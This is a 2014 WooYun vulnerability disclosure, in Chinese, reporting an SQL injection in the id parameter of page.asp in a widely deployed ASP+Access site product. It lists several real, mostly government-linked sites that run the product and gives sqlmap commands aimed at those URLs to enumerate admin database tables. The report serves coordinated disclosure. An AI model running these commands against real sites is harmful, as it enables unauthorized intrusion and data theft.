漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076628
漏洞标题：某政府通用系统SQL注入
相关厂商：cncert国家互联网应急中心
漏洞作者： 路人甲
提交时间：2014-09-22 11:33
修复时间：2014-11-06 11:34
公开时间：2014-11-06 11:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-22： 细节已通知厂商并且等待厂商处理中
2014-09-26： 厂商已经确认，细节仅向厂商公开
2014-10-06： 细节向核心白帽子及相关领域专家公开
2014-10-16： 细节向普通白帽子公开
2014-10-26： 细节向实习白帽子公开
2014-11-06： 细节向公众公开
简要描述：
rt、U神 thanks！
详细说明：
#1.通用程序的介绍
1、建站程序类型：ASP+Access
2、漏洞类型：SQL注入
3、缺陷文件：page.asp
4、注入参数：id
5.涉及版本：未知
7、危害程度：高危
8、涉及厂商：长春诺特瑞软件有限公司
9、厂商网站：http://www.notery.net
10、安装量：大
11、是否拥有源代码分析：暂无
12、是否默认配置：是
13、枚举案例【应乌云的要求，枚举5例】：
【声明：以下提供的全部案例一方面证明通用型，一方面是给CNVD或Cncert测试，其他人不得用此作非法用途或者破坏操作，否则后果自负】
http://www.xyfg.gov.cn/
http://www.erdostjgzc.com/page.asp?id=612
http://www.hhhtgzc.com/page.asp?id=620
http://www.erdoszxgzc.com/page.asp?id=630
http://www.kqgzc.com/page.asp?id=589
http://www.fygzc.cn/page.asp?id=397
http://sggzccn.cnc506.000pc.net/page.asp?id=594
.....等等
漏洞证明：
#2.通用型漏洞证明
加单引号直接报错，
实例1：
Sqlmap -u "http://www.erdostjgzc.com/page.asp?id=612" -D admin --tables --thread 10
实例2：
Sqlmap -u "http://www.hhhtgzc.com/page.asp?id=620" -D admin --tables --thread 10
实例3：
Sqlmap -u "http://www.erdoszxgzc.com/page.asp?id=630" -D admin --tables --thread 10
实例4：
Sqlmap -u "http://www.kqgzc.com/page.asp?id=589" -D admin --tables --thread 10
实例5：
Sqlmap -u "http://www.fygzc.cn/page.asp?id=397" -D admin --tables --thread 10
修复方案：
发通用好紧张，有不妥之处请见谅，下次改进！thanks
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：13
确认时间：2014-09-26 10:32
厂商回复：
最新状态：
暂无